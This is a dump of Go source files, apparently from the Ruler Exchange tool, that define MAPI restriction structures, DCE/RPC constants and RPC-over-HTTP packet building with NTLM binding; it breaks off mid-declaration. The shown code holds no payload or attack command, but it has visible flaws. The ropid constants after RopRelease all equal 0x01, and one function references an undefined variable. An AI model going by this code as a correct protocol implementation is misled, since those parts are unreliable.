-------------------------------------------------------------------------------- /mapi/restrictionDatastructs.go: -------------------------------------------------------------------------------- 1 | package mapi 2 | 3 | import "github.com/sensepost/ruler/utils" 4 | 5 | //Contains the datastructs used to form restrictions 6 | 7 | //match types for fuzzy low 8 | const ( 9 | FLFULLSTRING = 0x0000 //field and the value of the column property tag match one another in their entirety 10 | FLSUBSTRING = 0x0001 //field matches some portion of the value of the column tag 11 | FLPREFIX = 0x0002 //field matches a starting portion of the value of the column tag 12 | ) 13 | 14 | //match types for fuzzy high 15 | const ( 16 | FLIGNORECASE = 0x0001 //The comparison does not consider case 17 | FLIGNOREONSPACE = 0x0002 //The comparison ignores Unicode-defined nonspacing characters such as diacritical marks 18 | FLLOOSE = 0x0004 //The comparison results in a match whenever possible, ignoring case and nonspacing characters 19 | ) 20 | 21 | //search flags 22 | const ( 23 | STOPSEARCH = 0x00000001 24 | RESTARTSEARCH = 0x00000002 25 | RECURSIVESEARCH = 0x00000004 26 | SHALLOWSEARCH = 0x00000008 27 | CONTENTINDEXEDSEARCH = 0x00010000 28 | NONCONTENTINDEXEDSEARCH = 0x00020000 29 | STATICSEARCH = 0x00040000 30 | ) 31 | 32 | //search return flags 33 | const ( 34 | SEARCHRUNNING = 0x00000001 35 | SEARCHREBUILD = 0x00000002 36 | SEARCHRECURSIVE = 0x00000004 37 | SEARCHCOMPLETE = 0x00001000 38 | SEARCHPARTIAL = 0x00002000 39 | SEARCHSTATIC = 0x00010000 40 | SEARCHMAYBESTATIC = 0x00020000 41 | CITOTALLY = 0x01000000 42 | TWIRTOTALLY = 0x08000000 43 | ) 44 | 45 | //Restriction interface to generalise restrictions 46 | type Restriction interface { 47 | Marshal() []byte 48 | } 49 | 50 | //ContentRestriction describes a content restriction, 51 | //which is used to limit a table view to only those rows that include a column 52 | //with contents matching a search string. 53 | type ContentRestriction struct { 54 | RestrictType uint8 //0x03 55 | FuzzyLevelLow uint16 //type of match 56 | FuzzyLevelHigh uint16 57 | PropertyTag PropertyTag //indicates the propertytag value field 58 | PropertyValue TaggedPropertyValue 59 | } 60 | 61 | //AndRestriction structure describes a combination of nested conditions that need to be 62 | //AND'ed with each other 63 | type AndRestriction struct { 64 | RestrictType uint8 //0x00 65 | RestrictCount uint16 66 | Restricts []Restriction 67 | } 68 | 69 | //OrRestriction structure describes a combination of nested conditions that need to be 70 | //OR'ed with each other 71 | type OrRestriction struct { 72 | RestrictType uint8 //0x01 73 | RestrictCount uint16 74 | Restricts []Restriction 75 | } 76 | 77 | //NotRestriction is used to apply a logical NOT operation to a single restriction 78 | type NotRestriction struct { 79 | RestrictType uint8 //0x02 80 | Restriction Restriction 81 | } 82 | 83 | //PropertyRestriction is used to apply a logical NOT operation to a single restriction 84 | type PropertyRestriction struct { 85 | RestrictType uint8 //0x04 86 | RelOp uint8 87 | PropTag PropertyTag 88 | TaggedValue TaggedPropertyValue 89 | } 90 | 91 | //Marshal turn ContentRestriction into Bytes 92 | func (restriction ContentRestriction) Marshal() []byte { 93 | return utils.BodyToBytes(restriction) 94 | } 95 | 96 | //Marshal turn AndResetriction into Bytes 97 | func (restriction AndRestriction) Marshal() []byte { 98 | return utils.BodyToBytes(restriction) 99 | } 100 | 101 | //Marshal turn OrResetriction into Bytes 102 | func (restriction OrRestriction) Marshal() []byte { 103 | return utils.BodyToBytes(restriction) 104 | } 105 | 106 | //Marshal turn NotRestriction into Bytes 107 | func (restriction NotRestriction) Marshal() []byte { 108 | return utils.BodyToBytes(restriction) 109 | } 110 | 111 | //Marshal turn PropertyRestriction into Bytes 112 | func (restriction PropertyRestriction) Marshal() []byte { 113 | return utils.BodyToBytes(restriction) 114 | } 115 | -------------------------------------------------------------------------------- /mapi/ropbuffers.go: -------------------------------------------------------------------------------- 1 | package mapi 2 | 3 | //UnmarshalRops is a wrapper function to keep track of unmarshaling logic and location in our buffer 4 | //takes an array of the expected responses and unmarshals into each one. Returning the first error that occurs, 5 | //or nil if no error 6 | func UnmarshalRops(resp []byte, rops []RopResponse) (bufPtr int, err error) { 7 | p := 0 8 | 9 | for i := range rops { 10 | p, err = rops[i].Unmarshal(resp[bufPtr:]) 11 | if err != nil { 12 | return -1, err 13 | } 14 | bufPtr += p 15 | } 16 | 17 | return 18 | } 19 | 20 | //UnmarshalPropertyRops is a wrapper function to keep track of unmarshaling logic and location in our buffer 21 | //takes an array of the expected responses and the columns these have, and unmarshals into each one. Returning the first error that occurs, 22 | //or nil if no error 23 | func UnmarshalPropertyRops(resp []byte, rops []GetProperties, columns []PropertyTag) (bufPtr int, err error) { 24 | p := 0 25 | 26 | for i := range rops { 27 | p, err = rops[i].Unmarshal(resp[bufPtr:], columns) 28 | if err != nil { 29 | return -1, err 30 | } 31 | bufPtr += p 32 | } 33 | 34 | return 35 | } 36 | -------------------------------------------------------------------------------- /mapi/ropids.go: -------------------------------------------------------------------------------- 1 | package mapi 2 | 3 | type ropid uint8 4 | 5 | const ( 6 | RopReserved ropid = 0x00 7 | RopRelease ropid = 0x01 8 | RopOpenFolder 9 | RopOpenMessage 10 | RopGetHierarchyTable 11 | RopGetContentsTable 12 | RopCreateMessage 13 | RopGetPropertiesSpecific 14 | ) 15 | -------------------------------------------------------------------------------- /rpc-http/constants.go: -------------------------------------------------------------------------------- 1 | package rpchttp 2 | 3 | //All taken from https://github.com/openchange/openchange/blob/master/python/openchange/utils/packets.py 4 | 5 | const ( 6 | PFC_FIRST_FRAG = 0x01 7 | PFC_LAST_FRAG = 0x02 8 | PFC_PENDING_CANCEL = 0x04 9 | PFC_SUPPORT_HEADER_SIGN = 0x04 10 | PFC_RESERVED_1 = 0x08 11 | PFC_CONC_MPX = 0x10 12 | PFC_DID_NOT_EXECUTE = 0x20 13 | PFC_MAYBE = 0x40 14 | PFC_OBJECT_UUID = 0x80 15 | ) 16 | 17 | //as defined in dcerpc.idl 18 | const ( 19 | DCERPC_PKT_REQUEST = 0x00 20 | DCERPC_PKT_PING = 0x01 21 | DCERPC_PKT_RESPONSE = 0x02 22 | DCERPC_PKT_FAULT = 0x03 23 | DCERPC_PKT_WORKING = 0x04 24 | DCERPC_PKT_NOCALL = 0x05 25 | DCERPC_PKT_REJECT = 0x06 26 | DCERPC_PKT_ACK = 0x07 27 | DCERPC_PKT_CL_CANCEL = 0x08 28 | DCERPC_PKT_FACK = 0x09 29 | DCERPC_PKT_CANCEL_ACK = 0x0A 30 | DCERPC_PKT_BIND = 0x0B 31 | DCERPC_PKT_BIND_ACK = 0x0C 32 | DCERPC_PKT_BIND_NAK = 0x0D 33 | DCERPC_PKT_ALTER = 0x0E 34 | DCERPC_PKT_ALTER_RESP = 0x0F 35 | DCERPC_PKT_AUTH_3 = 0x10 36 | DCERPC_PKT_SHUTDOWN = 0x11 37 | DCERPC_PKT_CO_CANCEL = 0x12 38 | DCERPC_PKT_ORPHANED = 0x13 39 | DCERPC_PKT_RTS = 0x14 40 | ) 41 | 42 | //RTS Flags 43 | const ( 44 | RTS_FLAG_NONE = 0x00 45 | RTS_FLAG_PING = 0x01 46 | RTS_FLAG_OTHER_CMD = 0x02 47 | RTS_FLAG_RECYCLE_CHANNEL = 0x04 48 | RTS_FLAG_IN_CHANNEL = 0x08 49 | RTS_FLAG_OUT_CHANNEL = 0x10 50 | RTS_FLAG_EOF = 0x20 51 | RTS_FLAG_ECHO = 0x40 52 | ) 53 | 54 | //RTS CMD 55 | const ( 56 | RTS_CMD_RECEIVE_WINDOW_SIZE = 0 57 | RTS_CMD_FLOW_CONTROL_ACK = 1 58 | RTS_CMD_CONNECTION_TIMEOUT = 2 59 | RTS_CMD_COOKIE = 3 60 | RTS_CMD_CHANNEL_LIFETIME = 4 61 | RTS_CMD_CLIENT_KEEPALIVE = 5 62 | RTS_CMD_VERSION = 6 63 | RTS_CMD_EMPTY = 7 64 | RTS_CMD_PADDING = 8 65 | RTS_CMD_NEGATIVE_ANCE = 9 66 | RTS_CMD_ANCE = 10 67 | RTS_CMD_CLIENT_ADDRESS = 11 68 | RTS_CMD_ASSOCIATION_GROUP_ID = 12 69 | RTS_CMD_DESTINATION = 13 70 | RTS_CMD_PING_TRAFFIC_SENT_NOTIFY = 14 71 | RTS_CMD_CUSTOM_OUT = 15 72 | ) 73 | 74 | const ( 75 | RPC_C_AUTHN_NONE = 0x0 76 | RPC_C_AUTHN_GSS_NEGOTIATE = 0x9 // SPNEGO 77 | RPC_C_AUTHN_WINNT = 0xa // NTLM 78 | RPC_C_AUTHN_GSS_SCHANNEL = 0xe // TLS 79 | RPC_C_AUTHN_GSS_KERBEROS = 0x10 // Kerberos 80 | RPC_C_AUTHN_NETLOGON = 0x44 // Netlogon 81 | RPC_C_AUTHN_DEFAULT = 0xff // (NTLM) 82 | RPC_C_AUTHN_LEVEL_DEFAULT = 0 83 | RPC_C_AUTHN_LEVEL_NONE = 1 84 | RPC_C_AUTHN_LEVEL_CONNECT = 2 85 | RPC_C_AUTHN_LEVEL_CALL = 3 86 | RPC_C_AUTHN_LEVEL_PKT = 4 87 | RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5 88 | RPC_C_AUTHN_LEVEL_PKT_PRIVACY = 6 89 | ) 90 | -------------------------------------------------------------------------------- /rpc-http/packets.go: -------------------------------------------------------------------------------- 1 | package rpchttp 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "math/rand" 7 | "time" 8 | 9 | "github.com/sensepost/ruler/utils" 10 | "github.com/staaldraad/go-ntlm/ntlm" 11 | ) 12 | 13 | //RTSHeader structure for unmarshal 14 | type RTSHeader struct { 15 | Version uint8 //05 16 | VersionMinor uint8 //00 17 | Type uint8 18 | PFCFlags uint8 19 | PackedDrep uint32 20 | FragLen uint16 21 | AuthLen uint16 22 | CallID uint32 23 | //Flags uint16 24 | //NumberOfCommands uint16 25 | } 26 | 27 | //RTSSec the security trailer 28 | //this is going to be 0x00000010 for all of our requests 29 | type RTSSec struct { 30 | AuthType uint8 31 | AuthLevel uint8 32 | AuthPadLen uint8 33 | AuthRsvrd uint8 34 | AuthCTX uint32 35 | } 36 | 37 | //BindPDU struct 38 | type BindPDU struct { 39 | Header RTSHeader 40 | MaxFrag uint16 41 | MaxRecvFrag uint16 42 | AssociationGroupID uint32 43 | CtxNum uint32 //2 44 | CtxItems []byte 45 | SecTrailer []byte 46 | AuthData []byte 47 | } 48 | 49 | //Auth3Request struct 50 | type Auth3Request struct { 51 | Header RTSHeader 52 | MaxFrag uint16 53 | MaxRecvFrag uint16 54 | //Pad uint32 55 | SecTrailer []byte 56 | AuthData []byte 57 | } 58 | 59 | //CONNA1 struct for initial connection 60 | type CONNA1 struct { 61 | Header RTSHeader 62 | Flags uint16 63 | NumberOfCommands uint16 64 | Version []byte //8 bytes 65 | VirtualConnectCookie Cookie 66 | OutChannelCookie Cookie 67 | ReceiveWindowSize []byte //8 bytes 68 | } 69 | 70 | //CONNB1 struct for initial connection 71 | type CONNB1 struct { 72 | Header RTSHeader 73 | Flags uint16 74 | NumberOfCommands uint16 75 | Version []byte //8 bytes 76 | VirtualConnectCookie Cookie 77 | InChannelCookie Cookie 78 | ChannelLifetime ChannelLifetime 79 | ClientKeepAlive ClientKeepalive 80 | AssociatonGroupID AssociationGroupID 81 | } 82 | 83 | //RTSRequest an RTSRequest 84 | type RTSRequest struct { 85 | Header RTSHeader 86 | MaxFrag uint16 87 | MaxRecv uint16 88 | Command []byte //8-byte 89 | PduData []byte //PDUData 90 | // ContextHandle []byte //16-byte cookie 91 | // Data []byte //our MAPI request goes here 92 | //RPC Parts 93 | // CbAuxIn uint32 94 | // AuxOut uint32 95 | SecTrailer []byte 96 | AuthData []byte 97 | } 98 | 99 | type PDUData struct { 100 | ContextHandle []byte //16-byte cookie 101 | Data []byte 102 | CbAuxIn uint32 103 | AuxOut uint32 104 | } 105 | 106 | //ConnectExRequest our connection request 107 | type ConnectExRequest struct { 108 | Header RTSHeader 109 | MaxFrag uint16 110 | MaxRecv uint16 111 | Version []byte //8-byte 112 | ContextHandle []byte //16-byte cookie 113 | Data []byte //our MAPI request goes here 114 | AuxBufLen uint32 115 | RgbAuxIn []byte 116 | CbAuxIn uint32 117 | AuxOut uint32 118 | } 119 | 120 | //RPCHeader common fields 121 | type RPCHeader struct { 122 | Version uint16 //always 0x0000 123 | Flags uint16 //0x0001 Compressed, 0x0002 XorMagic, 0x0004 Last 124 | Size uint16 125 | SizeActual uint16 //Compressed size (if 0x0001 set) 126 | } 127 | 128 | //RPCResponse to hold the data from our response 129 | type RPCResponse struct { 130 | Header RTSHeader 131 | PDU []byte 132 | SecTrailer []byte 133 | Body []byte 134 | AutData []byte 135 | } 136 | 137 | //CTX item used in Bind 138 | type CTX struct { 139 | ContextID uint16 140 | TransItems uint8 141 | Pad uint8 142 | AbstractSyntax []byte //20 bytes 143 | TransferSyntax []byte //20 bytes 144 | } 145 | 146 | //AUXBuffer struct 147 | type AUXBuffer struct { 148 | RPCHeader RPCHeader 149 | Buff []AuxInfo 150 | } 151 | 152 | //AUXHeader struct 153 | type AUXHeader struct { 154 | Size uint16 // 155 | Version uint8 156 | Type uint8 157 | } 158 | 159 | //AUXPerfAccountInfo used for aux info 160 | type AUXPerfAccountInfo struct { 161 | Header AUXHeader 162 | ClientID uint16 163 | Reserved uint16 164 | Account []byte 165 | } 166 | 167 | //AUXTypePerfSessionInfo used for aux info 168 | type AUXTypePerfSessionInfo struct { 169 | Header AUXHeader 170 | SessionID uint16 171 | Reserved uint16 172 | SessionGUID []byte 173 | ConnectionID uint32 174 | } 175 | 176 | //AUXTPerfMDBSuccess used for aux info 177 | type AUXTPerfMDBSuccess struct { 178 | Header AUXHeader 179 | ClientID uint16 180 | ServerID uint16 181 | SessionID uint16 182 | RequestID uint16 183 | TimeSinceRequest uint32 184 | TimeToCompleteRequest uint32 185 | } 186 | 187 | //AUXTypePerfRequestID used for aux info 188 | type AUXTypePerfRequestID struct { 189 | Header AUXHeader 190 | SessionID uint16 191 | RequestID uint16 192 | } 193 | 194 | //AUXTypePerfProcessInfo used for aux info 195 | type AUXTypePerfProcessInfo struct { 196 | Header AUXHeader 197 | ProcessID uint16 198 | Reserved uint16 199 | ProcessGUID []byte 200 | ProcessNameOffset uint16 201 | Reserved2 uint16 202 | ProcessName []byte 203 | } 204 | 205 | //AUXPerfClientInfo used for aux info 206 | type AUXPerfClientInfo struct { 207 | Header AUXHeader 208 | AdapterSpeed uint32 209 | ClientID uint16 210 | MachineNameOffset uint16 211 | UserNameOffset uint16 212 | ClientIPSize uint16 213 | ClientIPOffset uint16 214 | ClientIPMaskSize uint16 215 | ClientIPMaskOffset uint16 216 | AdapterNameOffset uint16 217 | MacAddressSize uint16 218 | MacAddressOffset uint16 219 | ClientMode uint16 220 | Reserved uint16 221 | MachineName []byte 222 | UserName []byte 223 | ClientIP []byte 224 | ClientIPMask []byte 225 | AdapterName []byte 226 | MacAddress []byte 227 | } 228 | 229 | //AUXClientConnectionInfo used for aux info 230 | type AUXClientConnectionInfo struct { 231 | Header AUXHeader 232 | ConnectionGUID []byte 233 | OffsetConnectionContextInfo uint16 234 | Reserved uint16 235 | ConnectionAttempts uint32 236 | ConnectionFlags uint32 237 | ConnectionContextInfo []byte 238 | } 239 | 240 | //AUXPerfGCSuccess used for aux info 241 | type AUXPerfGCSuccess struct { 242 | Header AUXHeader 243 | ClientID uint16 244 | ServerID uint16 245 | Reserved uint16 246 | TimeSinceRequest uint32 247 | TimeToCompleteRequest uint32 248 | RequestOperation uint8 249 | Reserved2 []byte 250 | } 251 | 252 | //RTSPing an RTSPing message keeping the channel alive 253 | type RTSPing struct { 254 | Header RTSHeader 255 | Sec RTSSec 256 | } 257 | 258 | //Cookie used the connection/channel cookie 259 | type Cookie struct { 260 | CommandType uint32 //always going to be 03 261 | Cookie []byte //16 byte 262 | } 263 | 264 | //AssociationGroupID used to hold the group id 265 | type AssociationGroupID struct { 266 | CommandType uint32 267 | AssociationGroupID []byte //16 byte 268 | } 269 | 270 | //ChannelLifetime holds lifetime of channel 271 | type ChannelLifetime struct { 272 | CommandType uint32 //always 04 273 | ChannelLifetime uint32 //range of 128kb to 2 Gb 274 | } 275 | 276 | //ClientKeepalive specifies how long the channel is kept open 277 | type ClientKeepalive struct { 278 | CommandType uint32 //always 05 279 | ClientKeepalive uint32 //range of 128kb to 2 Gb 280 | } 281 | 282 | //AuxInfo interface to make Aux buffers generic 283 | type AuxInfo interface { 284 | Marshal() []byte 285 | } 286 | 287 | //CookieGen creates a 16byte UUID 288 | func CookieGen() []byte { 289 | rand.Seed(time.Now().UnixNano()) 290 | b := make([]byte, 16) 291 | _, err := rand.Read(b) 292 | if err != nil { 293 | fmt.Println("Error: ", err) 294 | return nil 295 | } 296 | //fmt.Printf("%X%X%X%X%X\n", b[0:4], b[4:6], b[6:8], b[8:10], b[10:]) 297 | return b 298 | } 299 | 300 | //Bind function Creates a Bind Packet 301 | func Bind() BindPDU { 302 | bind := BindPDU{} 303 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_BIND, PFCFlags: 0x13, AuthLen: 0, CallID: 1} 304 | header.PackedDrep = 16 305 | 306 | bind.Header = header 307 | 308 | bind.MaxFrag = 0x0ff8 309 | bind.MaxRecvFrag = 0x0ff8 310 | bind.AssociationGroupID = 0x00 311 | bind.CtxNum = 0x02 312 | 313 | ctx := CTX{} 314 | ctx.ContextID = 0 315 | ctx.TransItems = 1 316 | ctx.AbstractSyntax = []byte{0x00, 0xdb, 0xf1, 0xa4, 0x47, 0xca, 0x67, 0x10, 0xb3, 0x1f, 0x00, 0xdd, 0x01, 0x06, 0x62, 0xda, 0x00, 0x00, 0x51, 0x00} //CookieGen() 317 | ctx.TransferSyntax = []byte{0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00} 318 | 319 | ctx2 := CTX{} 320 | ctx2.ContextID = 1 321 | ctx2.TransItems = 1 322 | ctx2.AbstractSyntax = ctx.AbstractSyntax 323 | ctx2.TransferSyntax = append(CookieGen(), []byte{0x01, 0x00, 0x00, 0x00}...) //[]byte{0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00} 324 | 325 | bind.CtxItems = append(ctx.Marshal(), ctx2.Marshal()...) 326 | //unknown PDU data here 327 | bind.Header.FragLen = uint16(len(bind.Marshal())) 328 | 329 | return bind 330 | } 331 | 332 | func SecureBind(authLevel, authType uint8, session *ntlm.ClientSession) BindPDU { 333 | bind := BindPDU{} 334 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_BIND, PFCFlags: 0x17, AuthLen: 0, CallID: 1} 335 | header.PackedDrep = 16 336 | 337 | bind.Header = header 338 | 339 | bind.MaxFrag = 0x0ff8 340 | bind.MaxRecvFrag = 0x0ff8 341 | bind.AssociationGroupID = 0 342 | bind.CtxNum = 0x01 343 | 344 | ctx := CTX{} 345 | ctx.ContextID = 1 346 | ctx.TransItems = 1 347 | ctx.AbstractSyntax = []byte{0x00, 0xdb, 0xf1, 0xa4, 0x47, 0xca, 0x67, 0x10, 0xb3, 0x1f, 0x00, 0xdd, 0x01, 0x06, 0x62, 0xda, 0x00, 0x00, 0x51, 0x00} //CookieGen() 348 | //ctx.AbstractSyntax = []byte{0x18, 0x5a, 0xcc, 0xf5, 0x64, 0x42, 0x1a, 0x10, 0x8c, 0x59, 0x08, 0x00, 0x2b, 0x2f, 0x84, 0x26, 0x38, 0x00, 0x00, 0x00} //CookieGen() 349 | ctx.TransferSyntax = []byte{0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00} 350 | 351 | bind.CtxItems = ctx.Marshal() 352 | 353 | /* 354 | ctx = CTX{} 355 | ctx.ContextID = 1 356 | ctx.TransItems = 1 357 | //ctx.AbstractSyntax = []byte{0x00, 0xdb, 0xf1, 0xa4, 0x47, 0xca, 0x67, 0x10, 0xb3, 0x1f, 0x00, 0xdd, 0x01, 0x06, 0x62, 0xda, 0x00, 0x00, 0x51, 0x00} //CookieGen() 358 | ctx.AbstractSyntax = []byte{0x18, 0x5a, 0xcc, 0xf5, 0x64, 0x42, 0x1a, 0x10, 0x8c, 0x59, 0x08, 0x00, 0x2b, 0x2f, 0x84, 0x26, 0x38, 0x00, 0x00, 0x00} //CookieGen() 359 | ctx.TransferSyntax = []byte{0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00} 360 | */ 361 | //bind.CtxItems = append(bind.CtxItems, ctx.Marshal()...) 362 | //unknown PDU data here 363 | bind.Header.FragLen = uint16(len(bind.Marshal())) 364 | 365 | //setup our auth here 366 | //for now just WINNT auth, should add GSSP_NEGOTIATE / NETLOGON? 367 | if authType == RPC_C_AUTHN_WINNT { 368 | secTrailer := RTSSec{} 369 | secTrailer.AuthType = authType 370 | secTrailer.AuthLevel = authLevel 371 | secTrailer.AuthCTX = 0 372 | 373 | b, _ := rpcntlmsession.GenerateNegotiateMessage() 374 | bind.AuthData = b.Bytes() 375 | bind.Header.AuthLen = uint16(len(bind.AuthData)) 376 | 377 | bind.SecTrailer = secTrailer.Marshal() 378 | bind.Header.FragLen = uint16(len(bind.Marshal())) 379 | } 380 | 381 | return bind 382 | } 383 | 384 | func Auth3(authLevel, authType uint8, authData []byte) Auth3Request { 385 | auth := Auth3Request{} 386 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_AUTH_3, PFCFlags: 0x17, AuthLen: 0, CallID: 1} 387 | header.PackedDrep = 16 388 | header.PFCFlags = header.PFCFlags | 0x04 389 | auth.Header = header 390 | 391 | auth.MaxFrag = 0x0ff8 392 | auth.MaxRecvFrag = 0x0ff8 393 | 394 | if authType == RPC_C_AUTHN_WINNT { 395 | secTrailer := RTSSec{} 396 | secTrailer.AuthType = authType 397 | secTrailer.AuthLevel = authLevel 398 | secTrailer.AuthCTX = 0 399 | 400 | //pad if necessary 401 | pad := 0 //(4 - (len(authData) % 4)) % 4 402 | authData = append(authData, bytes.Repeat([]byte{0xBB}, pad)...) 403 | auth.AuthData = authData 404 | 405 | secTrailer.AuthPadLen = uint8(pad) 406 | auth.Header.AuthLen = uint16(len(auth.AuthData)) 407 | 408 | auth.SecTrailer = secTrailer.Marshal() 409 | auth.Header.FragLen = uint16(len(auth.Marshal())) 410 | } 411 | return auth 412 | } 413 | 414 | //ConnA1 sent from the client to create the input channel 415 | func ConnA1(channelCookie []byte) CONNA1 { 416 | conna1 := CONNA1{} 417 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_RTS, PFCFlags: 0x03, AuthLen: 0, CallID: 0} 418 | header.PackedDrep = 16 419 | conna1.Flags = RTS_FLAG_NONE 420 | conna1.NumberOfCommands = 4 421 | conna1.Header = header 422 | conna1.Version = []byte{0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00} 423 | conna1.VirtualConnectCookie = Cookie{3, channelCookie} 424 | conna1.OutChannelCookie = Cookie{3, CookieGen()} 425 | conna1.ReceiveWindowSize = []byte{00, 00, 00, 00, 00, 00, 00, 01, 00} 426 | conna1.Header.FragLen = uint16(len(conna1.Marshal()) - 1) 427 | return conna1 428 | } 429 | 430 | //ConnB1 sent from the client to create the output channel 431 | func ConnB1() CONNB1 { 432 | connb1 := CONNB1{} 433 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_RTS, PFCFlags: 0x03, AuthLen: 0, CallID: 0} 434 | header.PackedDrep = 16 435 | connb1.Flags = RTS_FLAG_NONE 436 | connb1.NumberOfCommands = 6 437 | connb1.Header = header 438 | connb1.Version = []byte{0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00} 439 | connb1.VirtualConnectCookie = Cookie{3, CookieGen()} 440 | connb1.InChannelCookie = Cookie{3, CookieGen()} 441 | connb1.ChannelLifetime = ChannelLifetime{4, 1073741824} 442 | connb1.ClientKeepAlive = ClientKeepalive{5, 300000} 443 | connb1.AssociatonGroupID = AssociationGroupID{12, CookieGen()} 444 | connb1.Header.FragLen = uint16(len(connb1.Marshal())) 445 | return connb1 446 | } 447 | 448 | //Ping function creates a Ping Packet 449 | func Ping() RTSPing { 450 | ping := RTSPing{} 451 | ping.Header = RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_RTS, PFCFlags: 0x03, AuthLen: 0, CallID: 0} 452 | ping.Header.FragLen = 20 453 | //ping.Sec = RTSSec{0x00000010} 454 | return ping 455 | } 456 | 457 | //Unmarshal RPCResponse 458 | func (response *RPCResponse) Unmarshal(raw []byte) (int, error) { 459 | pos := 0 460 | response.Header = RTSHeader{} 461 | response.Header.Version, pos = utils.ReadByte(pos, raw) 462 | response.Header.VersionMinor, pos = utils.ReadByte(pos, raw) 463 | response.Header.Type, pos = utils.ReadByte(pos, raw) 464 | response.Header.PFCFlags, pos = utils.ReadByte(pos, raw) 465 | response.Header.PackedDrep, pos = utils.ReadUint32(pos, raw) 466 | response.Header.FragLen, pos = utils.ReadUint16(pos, raw) 467 | response.Header.AuthLen, pos = utils.ReadUint16(pos, raw) 468 | response.Header.CallID, pos = utils.ReadUint32(pos, raw) 469 | 470 | if response.Header.AuthLen == 0 { 471 | if len(raw) > int(response.Header.FragLen)-pos { 472 | response.PDU, pos = utils.ReadBytes(pos, int(response.Header.FragLen)-pos, raw) 473 | } else { 474 | response.PDU, pos = utils.ReadBytes(pos, len(raw)-pos, raw) 475 | } 476 | } else { 477 | if len(raw) > int(response.Header.FragLen-response.Header.AuthLen-24) { 478 | response.PDU, pos = utils.ReadBytes(pos, int(response.Header.FragLen-response.Header.AuthLen-24), raw) 479 | if len(raw) < pos+int(response.Header.AuthLen) { 480 | return pos, nil 481 | } 482 | response.SecTrailer, pos = utils.ReadBytes(pos, int(response.Header.AuthLen), raw) 483 | } else { 484 | 485 | } 486 | } 487 | return pos, nil 488 | } 489 | 490 | //Unmarshal the SecTrailer 491 | func (sec *RTSSec) Unmarshal(raw []byte, ln int) (int, error) { 492 | pos := 0 493 | sec.AuthType, pos = utils.ReadByte(pos, raw) 494 | sec.AuthLevel, pos = utils.ReadByte(pos, raw) 495 | sec.AuthPadLen, pos = utils.ReadByte(pos, raw) 496 | sec.AuthRsvrd, pos = utils.ReadByte(pos, raw) 497 | sec.AuthCTX, pos = utils.ReadUint32(pos, raw) 498 | return pos, nil 499 | } 500 | 501 | //Marshal turn RTSPing into Bytes 502 | func (rtsPing RTSPing) Marshal() []byte { 503 | return utils.BodyToBytes(rtsPing) 504 | } 505 | 506 | //Marshal turn Bind into Bytes 507 | func (rtsBind BindPDU) Marshal() []byte { 508 | return utils.BodyToBytes(rtsBind) 509 | } 510 | 511 | //Marshal turn PDUData into Bytes 512 | func (pdu PDUData) Marshal() []byte { 513 | return utils.BodyToBytes(pdu) 514 | } 515 | 516 | //Marshal turn Auth3Request into Bytes 517 | func (authBind Auth3Request) Marshal() []byte { 518 | return utils.BodyToBytes(authBind) 519 | } 520 | 521 | //Marshal turn RTSRequest into Bytes 522 | func (rtsRequest RTSRequest) Marshal() []byte { 523 | return utils.BodyToBytes(rtsRequest) 524 | } 525 | 526 | //Marshal ConnectExRequest into bytes 527 | func (rtsRequest ConnectExRequest) Marshal() []byte { 528 | return utils.BodyToBytes(rtsRequest) 529 | } 530 | 531 | //Marshal connA1 532 | func (connA1Request CONNA1) Marshal() []byte { 533 | return utils.BodyToBytes(connA1Request) 534 | } 535 | 536 | //Marshal connB1 537 | func (connB1Request CONNB1) Marshal() []byte { 538 | return utils.BodyToBytes(connB1Request) 539 | } 540 | 541 | //Marshal CTX 542 | func (ctx CTX) Marshal() []byte { 543 | return utils.BodyToBytes(ctx) 544 | } 545 | 546 | //Marshal RTSSec 547 | func (sec RTSSec) Marshal() []byte { 548 | return utils.BodyToBytes(sec) 549 | } 550 | 551 | //Marshal AuxBuffer 552 | func (auxbuf AUXBuffer) Marshal() []byte { 553 | return utils.BodyToBytes(auxbuf) 554 | } 555 | 556 | //Marshal AUXPerfClientInfo 557 | func (auxbuf AUXPerfClientInfo) Marshal() []byte { 558 | return utils.BodyToBytes(auxbuf) 559 | } 560 | 561 | //Marshal AUXPerfAccountInfo 562 | func (auxbuf AUXPerfAccountInfo) Marshal() []byte { 563 | return utils.BodyToBytes(auxbuf) 564 | } 565 | 566 | //Marshal AUXTypePerfSessionInfo 567 | func (auxbuf AUXTypePerfSessionInfo) Marshal() []byte { 568 | return utils.BodyToBytes(auxbuf) 569 | } 570 | 571 | //Marshal AUXTypePerfProcessInfo 572 | func (auxbuf AUXTypePerfProcessInfo) Marshal() []byte { 573 | return utils.BodyToBytes(auxbuf) 574 | } 575 | 576 | //Marshal AUXTypePerfRequestID 577 | func (auxbuf AUXTypePerfRequestID) Marshal() []byte { 578 | return utils.BodyToBytes(auxbuf) 579 | } 580 | 581 | //Marshal AUXTPerfMDBSuccess 582 | func (auxbuf AUXTPerfMDBSuccess) Marshal() []byte { 583 | return utils.BodyToBytes(auxbuf) 584 | } 585 | 586 | //Marshal AUXClientConnectionInfo 587 | func (auxbuf AUXClientConnectionInfo) Marshal() []byte { 588 | return utils.BodyToBytes(auxbuf) 589 | } 590 | 591 | //Marshal AUXPerfGCSuccess 592 | func 